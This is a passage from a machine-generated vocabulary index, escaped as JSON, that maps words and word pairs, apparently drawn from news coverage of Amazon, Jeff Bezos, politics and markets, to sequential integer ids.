157514,\n  \"leave embedded\": 157515,\n  \"successful investment\": 157516,\n  \"create thousands\": 157517,\n  \"deals provider\": 157518,\n  \"rising co2\": 157519,\n  \"overall carbon\": 157520,\n  \"300 children\": 157521,\n  \"development operates\": 157522,\n  \"moving forward\": 157523,\n  \"progressive firebrand\": 157524,\n  \"storefronts joins\": 157525,\n  \"isolationism\": 157526,\n  \"consumer\": 157527,\n  \"soa\": 157528,\n  \"komisyon sa\": 157529,\n  \"expands\": 157530,\n  \"100 futures\": 157531,\n  \"referral\": 157532,\n  \"bezos message\": 157533,\n  \"thousand live\": 157534,\n  \"mair wrote\": 157535,\n  \"guessed\": 157536,\n  \"mall santas\": 157537,\n  \"tallahassee looks\": 157538,\n  \"cloud customer\": 157539,\n  \"major issues\": 157540,\n  \"appointed member\": 157541,\n  \"rico officials\": 157542,\n  \"art criticism\": 157543,\n  \"platforms critics\": 157544,\n  \"labs generation\": 157545,\n  \"starring florence\": 157546,\n  \"provider\": 157547,\n  \"bezos statement\": 157548,\n  \"strange terrifying\": 157549,\n  \"people including\": 157550,\n  \"amendment affords\": 157551,\n  \"200 people\": 157552,\n  \"trump seat\": 157553,\n  \"unmoved\": 157554,\n  \"sleazy tabloid\": 157555,\n  \"mediawatch\": 157556,\n  \"company owes\": 157557,\n  \"pay raise\": 157558,\n  \"search browser\": 157559,\n  \"huge audience\": 157560,\n  \"told cheapskates\": 157561,\n  \"spicer source\": 157562,\n  \"cory anthony\": 157563,\n  \"60minutes\": 157564,\n  \"immense distance\": 157565,\n  \"expedited service\": 157566,\n  \"environmental activists\": 157567,\n  \"synapse rigado\": 157568,\n  \"amazon documentaries\": 157569,\n  \"lewis story\": 157570,\n  \"vineyard owners\": 157571,\n  \"court prior\": 157572,\n  \"doj discussed\": 157573,\n  \"aomran229\": 157574,\n  \"security office\": 157575,\n  \"busiest mailing\": 157576,\n  \"trade relations\": 157577,\n  \"electricity plants\": 157578,\n  \"cast doubt\": 157579,\n  \"sears operated\": 157580,\n  \"poor cruz\": 157581,\n  \"aws outposts\": 157582,\n  \"mary elizabeth\": 157583,\n  \"million harrison\": 157584,\n  \"twohour meeting\": 157585,\n  \"important unresolved\": 157586,\n  \"conclusion overall\": 157587,\n  \"report ami\": 157588,\n  \"representative robert\": 157589,\n  \"accommodation\": 157590,\n  \"engaged experts\": 157591,\n  \"increasingly courted\": 157592,\n  \"raving\": 157593,\n  \"openly talks\": 157594,\n  \"game ana\": 157595,\n  \"vacation racism\": 157596,\n  \"similar crimes\": 157597,\n  \"xlf\": 157598,\n  \"actual eps\": 157599,\n  \"modal logistics\": 157600,\n  \"doj recent\": 157601,\n  \"data breach\": 157602,\n  \"money phil\": 157603,\n  \"impressive wrath\": 157604,\n  \"news loon\": 157605,\n  \"relevant personnel\": 157606,\n  \"regarding corporate\": 157607,\n  \"send snail\": 157608,\n  \"breakneck speed\": 157609,\n  \"logistics needs\": 157610,\n  \"disproportionate\": 157611,\n  \"specialized\": 157612,\n  \"america 2018\": 157613,\n  \"amazon cart\": 157614,\n  \"advisory council\": 157615,\n  \"facilities exceed\": 157616,\n  \"gov jerry\": 157617,\n  \"sons evicted\": 157618,\n  \"offenders\": 157619,\n  \"fees corporations\": 157620,\n  \"donated just\": 157621,\n  \"nunes mueller\": 157622,\n  \"dropped product\": 157623,\n  \"tragic failure\": 157624,\n  \"atsopro sheffieldissuper\": 157625,\n  \"jobs supposed\": 157626,\n  \"summit geekwire\": 157627,\n  \"lending\": 157628,\n  \"says tariffs\": 157629,\n  \"downloaded news\": 157630,\n  \"purchase agreement\": 157631,\n  \"just sports\": 157632,\n  \"pictures celebrity\": 157633,\n  \"options trade\": 157634,\n  \"mailing amounts\": 157635,\n  \"energy drinks\": 157636,\n  \"iceland transatlantic\": 157637,\n  \"firecracker virtualization\": 157638,\n  \"holdings 137\": 157639,\n  \"bezos looming\": 157640,\n  \"vaxxed natural\": 157641,\n  \"brands buybox\": 157642,\n  \"primary purpose\": 157643,\n  \"beale street\": 157644,\n  \"decision condemning\": 157645,\n  \"lobbied megan\": 157646,\n  \"explored\": 157647,\n  \"yield\": 157648,\n  \"leaning entities\": 157649,\n  \"tb\": 157650,\n  \"west ireland\": 157651,\n  \"migrants overall\": 157652,\n  \"party loyalties\": 157653,\n  \"exaggerate presidential\": 157654,\n  \"national commerce\": 157655,\n  \"threatened nbc\": 157656,\n  \"proposed costco\": 157657,\n  \"strategists bet\": 157658,\n  \"tribalism\": 157659,\n  \"andrea kannapell\": 157660,\n  \"term estimates\": 157661,\n  \"kurtz hosts\": 157662,\n  \"entire emotional\": 157663,\n  \"allegorical\": 157664,\n  \"presenting\": 157665,\n  \"netting half\": 157666,\n  \"misfire led\": 157667,\n  \"explicit photographs\": 157668,\n  \"hits sweet\": 157669,\n  \"pressure according\": 157670,\n  \"tweeted accusations\": 157671,\n  \"inflated faang\": 157672,\n  \"1021384752136409088\": 157673,\n  \"brennan clapper\": 157674,\n  \"anger eighth\": 157675,\n  \"biggest contributors\": 157676,\n  \"ignites concerns\": 157677,\n  \"make efforts\": 157678,\n  \"pills daily\": 157679,\n  \"bought tablehero\": 157680,\n  \"possible service\": 157681,\n  \"lunch hour\": 157682,\n  \"budescu\": 157683,\n  \"pre emptive\": 157684,\n  \"bezos told\": 157685,\n  \"determines\": 157686,\n  \"official just\": 157687,\n  \"collars\": 157688,\n  \"regulations suggesting\": 157689,\n  \"forcing maxsa\": 157690,\n  \"evaporate\": 157691,\n  \"special seminars\": 157692,\n  \"mideast oil\": 157693,\n  \"scenes details\": 157694,\n  \"initiative isn\": 157695,\n  \"videoid\": 157696,\n  \"elections office\": 157697,\n  \"theatre cinema\": 157698,\n  \"named small\": 157699,\n  \"department definition\": 157700,\n  \"fed jerome\": 157701,\n  \"cost benefit\": 157702,\n  \"reply\": 157703,\n  \"park new\": 157704,\n  \"federal data\": 157705,\n  \"travelpod travel\": 157706,\n  \"100 results\": 157707,\n  \"angeles estimates\": 157708,\n  \"undermines\": 157709,\n  \"mazzilli editing\": 157710,\n  \"2017 cnn\": 157711,\n  \"reporting cnn\": 157712,\n  \"intraday trading\": 157713,\n  \"agencies affected\": 157714,\n  \"bezos saw\": 157715,\n  \"internet overseeing\": 157716,\n  \"wing dogma\": 157717,\n  \"semi companies\": 157718,\n  \"anthology approach\": 157719,\n  \"mpf\": 157720,\n  \"kushner choose\": 157721,\n  \"overseas bashing\": 157722,\n  \"impeached\": 157723,\n  \"misspent\": 157724,\n  \"prime offering\": 157725,\n  \"shane iii\": 157726,\n  \"pseudonym donald\": 157727,\n  \"pandey\": 157728,\n  \"big movement\": 157729,\n  \"rock site\": 157730,\n  \"kept slamming\": 157731,\n  \"follow scathing\": 157732,\n  \"commissioned\": 157733,\n  \"jennings\": 157734,\n  \"eventually moved\": 157735,\n  \"jeff niiya\": 157736,\n  \"assets 180928150901\": 157737,\n  \"tasked\": 157738,\n  \"upbeat gop\": 157739,\n  \"oversight\": 157740,\n  \"secret keys\": 157741,\n  \"islamophobic\": 157742,\n  \"fueled property\": 157743,\n  \"times publishers\": 157744,\n  \"goods liable\": 157745,\n  \"meet leaders\": 157746,\n  \"position shaub\": 157747,\n  \"ayanna pressley\": 157748,\n  \"surge equity\": 157749,\n  \"cashes\": 157750,\n  \"m2x s0\": 157751,\n  \"financial deals\": 157752,\n  \"innocuous crow\": 157753,\n  \"happened repeatedly\": 157754,\n  \"warren proposed\": 157755,\n  \"hershey topped\": 157756,\n  \"overcome\": 157757,\n  \"restaurant manager\": 157758,\n  \"boosted walmart\": 157759,\n  \"1982 antitrust\": 157760,\n  \"appreciably\": 157761,\n  \"revelation revealed\": 157762,\n  \"ministry dealing\": 157763,\n  \"justify referring\": 157764,\n  \"ragtag family\": 157765,\n  \"application release\": 157766,\n  \"elected cronies\": 157767,\n  \"distort markets\": 157768,\n  \"affairs running\": 157769,\n  \"federal acquisition\": 157770,\n  \"articles low\": 157771,\n  \"pseudonym\": 157772,\n  \"temporary drop\": 157773,\n  \"job hurricane\": 157774,\n  \"personal net\": 157775,\n  \"combat package\": 157776,\n  \"anew\": 157777,\n  \"boeing 767\": 157778,\n  \"recent fiscal\": 157779,\n  \"goals lisa\": 157780,\n  \"nerviest\": 157781,\n  \"harm consumers\": 157782,\n  \"shares valued\": 157783,\n  \"joining cnbc\": 157784,\n  \"following report\": 157785,\n  \"z8 o2x\": 157786,\n  \"globes bohemian\": 157787,\n  \"spoon geekwire\": 157788,\n  \"misdiagnosed amazons\": 157789,\n  \"type event\": 157790,\n  \"don build\": 157791,\n  \"content shooting\": 157792,\n  \"delive trump\": 157793,\n  \"additional funds\": 157794,\n  \"surging air\": 157795,\n  \"billion reaction\": 157796,\n  \"money wouldn\": 157797,\n  \"better working\": 157798,\n  \"levering\": 157799,\n  \"plane owned\": 157800,\n  \"spiegel hopes\": 157801,\n  \"alive jayme\": 157802,\n  \"walmart foto\": 157803,\n  \"financial unit\": 157804,\n  \"current chinese\": 157805,\n  \"series centers\": 157806,\n  \"significant relation\": 157807,\n  \"energize\": 157808,\n  \"filed similar\": 157809,\n  \"push consumers\": 157810,\n  \"trump number\": 157811,\n  \"ledger database\": 157812,\n  \"driving vehicles\": 157813,\n  \"newsletter group\": 157814,\n  \"doubleline\": 157815,\n  \"outperformed\": 157816,\n  \"bear territory\": 157817,\n  \"customers shopped\": 157818,\n  \"clancy\": 157819,\n  \"arbitrarily order\": 157820,\n  \"position josh\": 157821,\n  \"employed personal\": 157822,\n  \"bits\": 157823,\n  \"propaganda tool\": 157824,\n  \"worries\": 157825,\n  \"don care\": 157826,\n  \"insulated\": 157827,\n  \"post offices\": 157828,\n  \"personal loan\": 157829,\n  \"minister justin\": 157830,\n  \"liane hornsey\": 157831,\n  \"quarter representing\": 157832,\n  \"cardcontents additionalsections\": 157833,\n  \"workers left\": 157834,\n  \"verdict false\": 157835,\n  \"netflix programs\": 157836,\n  \"subsidiary amazon\": 157837,\n  \"j5q function\": 157838,\n  \"wonk\": 157839,\n  \"schwartzegger\": 157840,\n  \"governments salivated\": 157841,\n  \"endings\": 157842,\n  \"downturn\": 157843,\n  \"creating spaces\": 157844,\n  \"taken trump\": 157845,\n  \"nicole\": 157846,\n  \"olshan\": 157847,\n  \"anthropologie dresses\": 157848,\n  \"list starting\": 157849,\n  \"contractor northrop\": 157850,\n  \"product business\": 157851,\n  \"brand based\": 157852,\n  \"videocollection currentvideocollection\": 157853,\n  \"big corporate\": 157854,\n  \"options plan\": 157855,\n  \"terry gou\": 157856,\n  \"saying sinclair\": 157857,\n  \"good costume\": 157858,\n  \"bryan stevenson\": 157859,\n  \"wage kick\": 157860,\n  \"allegedly petty\": 157861,\n  \"expos\\u00e9\": 157862,\n  \"bezos steps\": 157863,\n  \"dangerous thing\": 157864,\n  \"reviews averaged\": 157865,\n  \"company argenti\": 157866,\n  \"fox comcast\": 157867,\n  \"pitkin\": 157868,\n  \"remains positive\": 157869,\n  \"best pitch\": 157870,\n  \"ramirez\": 157871,\n  \"short america\": 157872,\n  \"lenz discussed\": 157873,\n  \"ibm looks\": 157874,\n  \"magazine watch\": 157875,\n  \"perverse\": 157876,\n  \"goofy\": 157877,\n  \"pour\": 157878,\n  \"foreign companies\": 157879,\n  \"insurance company\": 157880,\n  \"star antoni\": 157881,\n  \"endanger threaten\": 157882,\n  \"services group\": 157883,\n  \"netflix holdings\": 157884,\n  \"press credentials\": 157885,\n  \"cis favors\": 157886,\n  \"tim stone\": 157887,\n  \"forbes began\": 157888,\n  \"establishment conservatives\": 157889,\n  \"extremely high\": 157890,\n  \"spaces fashion\": 157891,\n  \"springboard\": 157892,\n  \"unaired\": 157893,\n  \"stretch warren\": 157894,\n  \"leaked online\": 157895,\n  \"year trump\": 157896,\n  \"wayfair prior\": 157897,\n  \"amazon profile\": 157898,\n  \"ulrich\": 157899,\n  \"post constitute\": 157900,\n  \"horn referendum\": 157901,\n  \"2016 prescription\": 157902,\n  \"amzn revenue\": 157903,\n  \"powerful people\": 157904,\n  \"2019 reports\": 157905,\n  \"mark webber\": 157906,\n  \"checking george\": 157907,\n  \"goofily\": 157908,\n  \"report indicated\": 157909,\n  \"actually worked\": 157910,\n  \"dollars dozens\": 157911,\n  \"kim people\": 157912,\n  \"family planning\": 157913,\n  \"promoted tweets\": 157914,\n  \"future\": 157915,\n  \"berg holds\": 157916,\n  \"regulation correctly\": 157917,\n  \"compensation costs\": 157918,\n  \"loyalty programs\": 157919,\n  \"cybersecurity engineer\": 157920,\n  \"queens waterfront\": 157921,\n  \"democrat controlled\": 157922,\n  \"sp 500\": 157923,\n  \"rojas explains\": 157924,\n  \"small electronics\": 157925,\n  \"fed funds\": 157926,\n  \"dissemination sanchez\": 157927,\n  \"quarter danger\": 157928,\n  \"person says\": 157929,\n  \"brazen acts\": 157930,\n  \"feud engulfing\": 157931,\n  \"monopoly contract\": 157932,\n  \"workers expensive\": 157933,\n  \"group kristalina\": 157934,\n  \"consumer deliveries\": 157935,\n  \"claim bezos\": 157936,\n  \"medical needs\": 157937,\n  \"street tunnel\": 157938,\n  \"known attendees\": 157939,\n  \"forests hotter\": 157940,\n  \"google turns\": 157941,\n  \"corporation doesn\": 157942,\n  \"scotus fight\": 157943,\n  \"inciting riots\": 157944,\n  \"recommends charging\": 157945,\n  \"morigi\": 157946,\n  \"authorities kept\": 157947,\n  \"thing coming\": 157948,\n  \"neighborhoods bezos\": 157949,\n  \"quite jim\": 157950,\n  \"2019 microsoft\": 157951,\n  \"sentenced ex\": 157952,\n  \"president feud\": 157953,\n  \"cnbc delrahim\": 157954,\n  \"american racism\": 157955,\n  \"tampa bay\": 157956,\n  \"staff claims\": 157957,\n  \"interesting gift\": 157958,\n  \"components damaged\": 157959,\n  \"raising question\": 157960,\n  \"current residence\": 157961,\n  \"z8 return\": 157962,\n  \"downloadable\": 157963,\n  \"picks cambria\": 157964,\n  \"fund brian\": 157965,\n  \"expressed concerns\": 157966,\n  \"ethical leader\": 157967,\n  \"scene unfolded\": 157968,\n  \"leo varadkar\": 157969,\n  \"council warned\": 157970,\n  \"refrigeration\": 157971,\n  \"favor particular\": 157972,\n  \"kate snow\": 157973,\n  \"0r3wioxgeh bxp\": 157974,\n  \"leong\": 157975,\n  \"companies small\": 157976,\n  \"korea announced\": 157977,\n  \"major cloud\": 157978,\n  \"comment south\": 157979,\n  \"major earnings\": 157980,\n  \"throwing\": 157981,\n  \"andthird\": 157982,\n  \"pamela\": 157983,\n  \"delay 5g\": 157984,\n  \"platform trailhead\": 157985,\n  \"trump paper\": 157986,\n  \"cabernet\": 157987,\n  \"216657\": 157988,\n  \"24th annual\": 157989,\n  \"opinions browndailyherald\": 157990,\n  \"fairy tale\": 157991,\n  \"edward hudgins\": 157992,\n  \"rights defenders\": 157993,\n  \"brokerage house\": 157994,\n  \"direct response\": 157995,\n  \"department antitrust\": 157996,\n  \"channel works\": 157997,\n  \"subtitled\": 157998,\n  \"swamp draining\": 157999,\n  \"fixed rate\": 158000,\n  \"group employers\": 158001,\n  \"speech pattern\": 158002,\n  \"market players\": 158003,\n  \"netflix drawing\": 158004,\n  \"surprised michelle\": 158005,\n  \"house democrat\": 158006,\n  \"coats cia\": 158007,\n  \"delivery\": 158008,\n  \"decreased fertility\": 158009,\n  \"increase punishments\": 158010,\n  \"machine notes\": 158011,\n  \"mall near\": 158012,\n  \"pathological lying\": 158013,\n  \"longer attend\": 158014,\n  \"claims rise\": 158015,\n  \"shitty treatment\": 158016,\n  \"alleged correspondence\": 158017,\n  \"hills spruces\": 158018,\n  \"geneen\": 158019,\n  \"choice sees\": 158020,\n  \"rosenstein statements\": 158021,\n  \"tomato\": 158022,\n  \"palmer sees\": 158023,\n  \"park kansas\": 158024,\n  \"trade barriers\": 158025,\n  \"foundation bystander\": 158026,\n  \"eighteen\": 158027,\n  \"community according\": 158028,\n  \"transportation policy\": 158029,\n  \"rubenstein asked\": 158030,\n  \"planned long\": 158031,\n  \"electronic commerce\": 158032,\n  \"widely panned\": 158033,\n  \"northwestern united\": 158034,\n  \"advice biz\": 158035,\n  \"ticking box\": 158036,\n  \"determine abramowitz\": 158037,\n  \"business mattis\": 158038,\n  \"pluralist society\": 158039,\n  \"audrey johns\": 158040,\n  \"attracts political\": 158041,\n  \"richmond sanders\": 158042,\n  \"749\": 158043,\n  \"sense suggests\": 158044,\n  \"india resumes\": 158045,\n  \"platform ex\": 158046,\n  \"face investor\": 158047,\n  \"headquarters maintained\": 158048,\n  \"relationships withthese\": 158049,\n  \"investment apply\": 158050,\n  \"hochul\": 158051,\n  \"enterprise mannequin\": 158052,\n  \"stormy weather\": 158053,\n  \"main fubo\": 158054,\n  \"rsns\": 158055,\n  \"consultant bain\": 158056,\n  \"investors jack\": 158057,\n  \"year thanks\": 158058,\n  \"apple nearly\": 158059,\n  \"lighters\": 158060,\n  \"says welcome\": 158061,\n  \"cnn cuts\": 158062,\n  \"today connecttweetlinkedincommentemailmore\": 158063,\n  \"bearing servitude\": 158064,\n  \"post manuel\": 158065,\n  \"rapidly adjust\": 158066,\n  \"host new\": 158067,\n  \"tourist kevin\": 158068,\n  \"cancer foods\": 158069,\n  \"limit freedom\": 158070,\n  \"business tactics\": 158071,\n  \"tweeted great\": 158072,\n  \"lost control\": 158073,\n  \"libya conference\": 158074,\n  \"does checks\": 158075,\n  \"america despite\": 158076,\n  \"seeking washington\": 158077,\n  \"examiner records\": 158078,\n  \"americans spent\": 158079,\n  \"media battle\": 158080,\n  \"assault survivors\": 158081,\n  \"company communities\": 158082,\n  \"juggles\": 158083,\n  \"improve worker\": 158084,\n  \"office scam\": 158085,\n  \"mile deliveries\": 158086,\n  \"tony winning\": 158087,\n  \"smalls halfhearted\": 158088,\n  \"conservatives dubbed\": 158089,\n  \"solid growth\": 158090,\n  \"sounds little\": 158091,\n  \"petty cash\": 158092,\n  \"gawande politics\": 158093,\n  \"resolution selfie\": 158094,\n  \"data despite\": 158095,\n  \"federal minimum\": 158096,\n  \"state compensation\": 158097,\n  \"personal animosity\": 158098,\n  \"rifle olivia\": 158099,\n  \"western new\": 158100,\n  \"years mastercard\": 158101,\n  \"fargo company\": 158102,\n  \"dog checks\": 158103,\n  \"relatively quiet\": 158104,\n  \"epidemic art\": 158105,\n  \"194 198\": 158106,\n  \"labor unwieldy\": 158107,\n  \"investments internationally\": 158108,\n  \"big box\": 158109,\n  \"prosecutor\": 158110,\n  \"acquiring target\": 158111,\n  \"907 bought\": 158112,\n  \"adjusted ebitda\": 158113,\n  \"apart knockoffs\": 158114,\n  \"proctor\": 158115,\n  \"plan today\": 158116,\n  \"wasyou talk\": 158117,\n  \"successfully launched\": 158118,\n  \"haiti\": 158119,\n  \"pressured government\": 158120,\n  \"acclaimed horror\": 158121,\n  \"trump consistently\": 158122,\n  \"strangeness article38200763\": 158123,\n  \"avalaras\": 158124,\n  \"states push\": 158125,\n  \"vantagewire indiatimes\": 158126,\n  \"counterfeit pharmaceuticals\": 158127,\n  \"updateshowinfo\": 158128,\n  \"sigo\": 158129,\n  \"email pensions\": 158130,\n  \"loss makers\": 158131,\n  \"payload\": 158132,\n  \"blame trump\": 158133,\n  \"deutsch lashed\": 158134,\n  \"carnage trump\": 158135,\n  \"expanded tax\": 158136,\n  \"greater consequence\": 158137,\n  \"divorce affect\": 158138,\n  \"ideal option\": 158139,\n  \"reuters employees\": 158140,\n  \"tim ryan\": 158141,\n  \"schuetz\": 158142,\n  \"farrow alleged\": 158143,\n  \"yes exactly\": 158144,\n  \"convenience bezos\": 158145,\n  \"group charles\": 158146,\n  \"fully compensates\": 158147,\n  \"affect student\": 158148,\n  \"leader john\": 158149,\n  \"beast thedailybeast\": 158150,\n  \"priciest construction\": 158151,\n  \"merchandise home\": 158152,\n  \"reception\": 158153,\n  \"hopper\": 158154,\n  \"denigrates\": 158155,\n  \"hodder\": 158156,\n  \"aol nyse\": 158157,\n  \"develops market\": 158158,\n  \"click ordering\": 158159,\n  \"leave wiggle\": 158160,\n  \"delivers toothpaste\": 158161,\n  \"iq developer\": 158162,\n  \"approved resolution\": 158163,\n  \"2013 purchase\": 158164,\n  \"frea visited\": 158165,\n  \"arms increases\": 158166,\n  \"mere stakeholder\": 158167,\n  \"fly private\": 158168,\n  \"sarah huckabee\": 158169,\n  \"format complete\": 158170,\n  \"pop retailers\": 158171,\n  \"push trump\": 158172,\n  \"joint guest\": 158173,\n  \"discount mail\": 158174,\n  \"100 staff\": 158175,\n  \"crayton\": 158176,\n  \"farrow son\": 158177,\n  \"guilty new\": 158178,\n  \"creating citywide\": 158179,\n  \"successful antitrust\": 158180,\n  \"arthur laffer\": 158181,\n  \"live far\": 158182,\n  \"dave thinks\": 158183,\n  \"suspends cambridge\": 158184,\n  \"sumita ksw\": 158185,\n  \"media yelp\": 158186,\n  \"new government\": 158187,\n  \"clinton affairs\": 158188,\n  \"ultimately spell\": 158189,\n  \"spent billion\": 158190,\n  \"media statistic\": 158191,\n  \"major impact\": 158192,\n  \"public break\": 158193,\n  \"flow fcf\": 158194,\n  \"canadian citizens\": 158195,\n  \"collapse multiple\": 158196,\n  \"whatsapp facebook\": 158197,\n  \"oversized political\": 158198,\n  \"today explains\": 158199,\n  \"sentiment index\": 158200,\n  \"term bartiromo\": 158201,\n  \"told kiro\": 158202,\n  \"165 bought\": 158203,\n  \"reported losses\": 158204,\n  \"motco\": 158205,\n  \"right strategy\": 158206,\n  \"recent survey\": 158207,\n  \"spelling test\": 158208,\n  \"difficult spot\": 158209,\n  \"creating boom\": 158210,\n  \"uncut chrissy\": 158211,\n  \"center marc\": 158212,\n  \"tracey\": 158213,\n  \"teen girls\": 158214,\n  \"unparalleled talent\": 158215,\n  \"veena\": 158216,\n  \"casey\": 158217,\n  \"exasperation\": 158218,\n  \"xcel energy\": 158219,\n  \"nimble private\": 158220,\n  \"puts spotlight\": 158221,\n  \"holographic phone\": 158222,\n  \"seen lots\": 158223,\n  \"fosters\": 158224,\n  \"seattle geekwire\": 158225,\n  \"acted improperly\": 158226,\n  \"recording devices\": 158227,\n  \"insurance usually\": 158228,\n  \"callista concerns\": 158229,\n  \"paying overtime\": 158230,\n  \"hailey\": 158231,\n  \"easily highly\": 158232,\n  \"mngmt equity\": 158233,\n  \"concern allies\": 158234,\n  \"world descriptionplaintext\": 158235,\n  \"doesn read\": 158236,\n  \"ahead tech\": 158237,\n  \"expending real\": 158238,\n  \"joe thomas\": 158239,\n  \"company looking\": 158240,\n  \"good riddance\": 158241,\n  \"write\": 158242,\n  \"darcy oliverdarcy\": 158243,\n  \"tech stakes\": 158244,\n  \"cruise lines\": 158245,\n  \"employ mexican\": 158246,\n  \"provide boost\": 158247,\n  \"trump ahead\": 158248,\n  \"940 billion\": 158249,\n  \"legal dispute\": 158250,\n  \"developing team\": 158251,\n  \"currentvideocollectioncontainsid videoid\": 158252,\n  \"2018 advertisement\": 158253,\n  \"available tree\": 158254,\n  \"just signed\": 158255,\n  \"terribly tony\": 158256,\n  \"discussion\": 158257,\n  \"omers\": 158258,\n  \"bga\": 158259,\n  \"teams join\": 158260,\n  \"poohed amazon\": 158261,\n  \"gathering momentum\": 158262,\n  \"empire attack\": 158263,\n  \"amazon showed\": 158264,\n  \"trump challenged\": 158265,\n  \"threadbare\": 158266,\n  \"democrats\": 158267,\n  \"people harry\": 158268,\n  \"hanbury\": 158269,\n  \"brokaw savannah\": 158270,\n  \"brewery\": 158271,\n  \"destination additional\": 158272,\n  \"local voice\": 158273,\n  \"kill story\": 158274,\n  \"abramowitz represents\": 158275,\n  \"similar program\": 158276,\n  \"sinclair broadcast\": 158277,\n  \"tusk holdings\": 158278,\n  \"carney\": 158279,\n  \"dishonesty\": 158280,\n  \"broader equity\": 158281,\n  \"spotlight turned\": 158282,\n  \"itep director\": 158283,\n  \"groups selling\": 158284,\n  \"special treatment\": 158285,\n  \"shipping business\": 158286,\n  \"ben mehic\": 158287,\n  \"management bought\": 158288,\n  \"family tragic\": 158289,\n  \"rich woman\": 158290,\n  \"terrible role\": 158291,\n  \"year fixed\": 158292,\n  \"college professor\": 158293,\n  \"winning staff\": 158294,\n  \"afe\": 158295,\n  \"air rail\": 158296,\n  \"booed\": 158297,\n  \"series dwells\": 158298,\n  \"carolina republican\": 158299,\n  \"rapace\": 158300,\n  \"peculiar\": 158301,\n  \"kingston pike\": 158302,\n  \"cardboard packaging\": 158303,\n  \"suggesting\": 158304,\n  \"music ensured\": 158305,\n  \"uncharted waters\": 158306,\n  \"convenient trump\": 158307,\n  \"scenes things\": 158308,\n  \"separate locations\": 158309,\n  \"won 600\": 158310,\n  \"opposition arguing\": 158311,\n  \"naked pictures\": 158312,\n  \"new changes\": 158313,\n  \"whit\": 158314,\n  \"hq2scam\": 158315,\n  \"usps divide\": 158316,\n  \"having similar\": 158317,\n  \"cargo carriers\": 158318,\n  \"investigation texas\": 158319,\n  \"carry trade\": 158320,\n  \"analyst focus\": 158321,\n  \"city city\": 158322,\n  \"2018 cities\": 158323,\n  \"comment pointing\": 158324,\n  \"scam carlson\": 158325,\n  \"music books\": 158326,\n  \"deforestation supply\": 158327,\n  \"superpac\": 158328,\n  \"quarterback colin\": 158329,\n  \"wealthiest beings\": 158330,\n  \"standouts coming\": 158331,\n  \"highest estimate\": 158332,\n  \"derek kan\": 158333,\n  \"public prosecutor\": 158334,\n  \"fell heavily\": 158335,\n  \"feature journalism\": 158336,\n  \"giant reconsiders\": 158337,\n  \"year conference\": 158338,\n  \"reconstruction adhere\": 158339,\n  \"recently highlighted\": 158340,\n  \"considerations trump\": 158341,\n  \"dodgers think\": 158342,\n  \"relies\": 158343,\n  \"barons\": 158344,\n  \"immigrant family\": 158345,\n  \"gaines\": 158346,\n  \"celtic\": 158347,\n  \"councilman\": 158348,\n  \"family says\": 158349,\n  \"new mystery\": 158350,\n  \"redstone billion\": 158351,\n  \"experience adopting\": 158352,\n  \"parties members\": 158353,\n  \"closed honolulu\": 158354,\n  \"commercial powers\": 158355,\n  \"minimum tax\": 158356,\n  \"animus fear\": 158357,\n  \"initiative referenced\": 158358,\n  \"election commission\": 158359,\n  \"john trump\": 158360,\n  \"continued sales\": 158361,\n  \"company faced\": 158362,\n  \"content rubenstein\": 158363,\n  \"washington just\": 158364,\n  \"minneapolis fed\": 158365,\n  \"planned travel\": 158366,\n  \"korth\": 158367,\n  \"passions goals\": 158368,\n  \"kuns2yxmsg michael\": 158369,\n  \"qldb\": 158370,\n  \"annette\": 158371,\n  \"levelling\": 158372,\n  \"market listing\": 158373,\n  \"stores shares\": 158374,\n  \"utah state\": 158375,\n  \"mountains\": 158376,\n  \"classic\": 158377,\n  \"trumping criticism\": 158378,\n  \"psychotropic\": 158379,\n  \"management giving\": 158380,\n  \"corporate moves\": 158381,\n  \"aung san\": 158382,\n  \"easy way\": 158383,\n  \"fiction note\": 158384,\n  \"media send2press\": 158385,\n  \"bartlett recent\": 158386,\n  \"scheduled shifts\": 158387,\n  \"html url\": 158388,\n  \"brought facebook\": 158389,\n  \"bangladesh china\": 158390,\n  \"farr thank\": 158391,\n  \"countdown calls\": 158392,\n  \"dan henniger\": 158393,\n  \"johnson speaks\": 158394,\n  \"argument isn\": 158395,\n  \"bum\": 158396,\n  \"ambiguous\": 158397,\n  \"development authority\": 158398,\n  \"supports traditional\": 158399,\n  \"page 7a\": 158400,\n  \"best month\": 158401,\n  \"tango mining\": 158402,\n  \"recruit women\": 158403,\n  \"graciously provided\": 158404,\n  \"point michael\": 158405,\n  \"remedy working\": 158406,\n  \"motivated roig\": 158407,\n  \"important customer\": 158408,\n  \"meaningful threat\": 158409,\n  \"peele thrilling\": 158410,\n  \"kids hands\": 158411,\n  \"project linked\": 158412,\n  \"shaun\": 158413,\n  \"respectively according\": 158414,\n  \"german word\": 158415,\n  \"match unlimited\": 158416,\n  \"similar experience\": 158417,\n  \"w5 s5\": 158418,\n  \"overtook amazon\": 158419,\n  \"novel holtzbrinck\": 158420,\n  \"attract customers\": 158421,\n  \"currently bestseller\": 158422,\n  \"indecember\": 158423,\n  \"unfairly target\": 158424,\n  \"book sellers\": 158425,\n  \"media tour\": 158426,\n  \"bausch\": 158427,\n  \"forcing\": 158428,\n  \"elect true\": 158429,\n  \"david drabkin\": 158430,\n  \"defaulting\": 158431,\n  \"formal chain\": 158432,\n  \"writer sets\": 158433,\n  \"curb illegal\": 158434,\n  \"career post\": 158435,\n  \"ultimately succeeded\": 158436,\n  \"forward 2018\": 158437,\n  \"probability\": 158438,\n  \"arm\": 158439,\n  \"year declared\": 158440,\n  \"donning\": 158441,\n  \"antitrust violation\": 158442,\n  \"public showdown\": 158443,\n  \"var j8i\": 158444,\n  \"bezos super\": 158445,\n  \"users outside\": 158446,\n  \"lover bezos\": 158447,\n  \"dow chemical\": 158448,\n  \"alt hollywood\": 158449,\n  \"bezos photo\": 158450,\n  \"900 page\": 158451,\n  \"impeachable wrongdoing\": 158452,\n  \"cost hudgins\": 158453,\n  \"schoolers amazon\": 158454,\n  \"business community\": 158455,\n  \"zondo\": 158456,\n  \"recent expos\\u00e9\": 158457,\n  \"carlos barria\": 158458,\n  \"2018 pymnts\": 158459,\n  \"texts sent\": 158460,\n  \"confessed\": 158461,\n  \"writing books\": 158462,\n  \"drawback\": 158463,\n  \"old niece\": 158464,\n  \"trump legislation\": 158465,\n  \"guatemalan mexico\": 158466,\n  \"sounds insane\": 158467,\n  \"combining private\": 158468,\n  \"contract closed\": 158469,\n  \"rules affecting\": 158470,\n  \"wood cutting\": 158471,\n  \"nibbling away\": 158472,\n  \"newfound fame\": 158473,\n  \"birthday paul\": 158474,\n  \"life american\": 158475,\n  \"payments categories\": 158476,\n  \"strategic carriers\": 158477,\n  \"cute trump\": 158478,\n  \"seemingly 